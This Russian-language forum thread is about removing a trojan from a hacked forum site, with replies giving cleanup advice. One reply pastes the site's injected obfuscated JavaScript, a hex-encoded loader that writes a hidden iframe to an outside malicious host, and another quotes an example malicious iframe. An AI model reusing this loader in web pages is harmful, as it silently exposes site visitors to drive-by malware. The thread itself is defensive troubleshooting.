Вирус на форуме.

На форуме: http://www.rufon.net/forum
сидит троян. Вот как Каспер его палит: http://s60.radikal.ru/i167/0808/94/1c4c61717a03.jpg
Троянская программа палится Касперским во время изменения репутации какому нибудь пользователю.
Обьясните как его dellнуть с форума. И где он может сидеть.

 

по логам видно айфреймер, скорее всего нашли багу в модуле репутации и поставили фрейм с вирусом, ищи лишний код в файлах

 

чтото вроде:
<iframe src="http://www.hhhiiiii.eu"></iframe>

 

скорее всего код зашифрован

 

Во.. оно самое )

Code:

<script>function v4700bdb3e4ebe(v4700bdb3e5e62){  return(parseInt(v4700bdb3e5e62,16));}function v4700bdb3e8d3f(v4700bdb3e9ce2){ var v4700bdb3ecbc3=2; var v4700bdb3eac83='';for(v4700bdb3ebc23=0; v4700bdb3ebc23<v4700bdb3e9ce2.length; v4700bdb3ebc23+=v4700bdb3ecbc3){ v4700bdb3eac83+=(String.fromCharCode(v4700bdb3e4ebe(v4700bdb3e9ce2.substr(v4700bdb3ebc23, v4700bdb3ecbc3))));}return v4700bdb3eac83;} document.write(v4700bdb3e8d3f('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D656435207372633D5C27687474703A2F2F676F6F676C652D7374617469737469632E636F6D2F696E2E6367693F323F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3634373133292B273863375C272077696474683D353833206865696768743D313131207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script>

 

Есть http://rufon.net/forum проблемка.
Имя той проблемке: Trojan-Downloader.JS.Small.hq & Trojan-Clicker.HTML.IFrame.gv



Подскажите, уважаемые коллеги. Где на хосте искать вирь, чтобы нах dell-нуть его. И вообще что делать ?

 

Ищи ифреймы в сорце страницы (iframe) и делеть нах все (обычно либо внизу, либо вверху, либо и там, и там)

 

ТС озвучьте двиг и плагины к нему.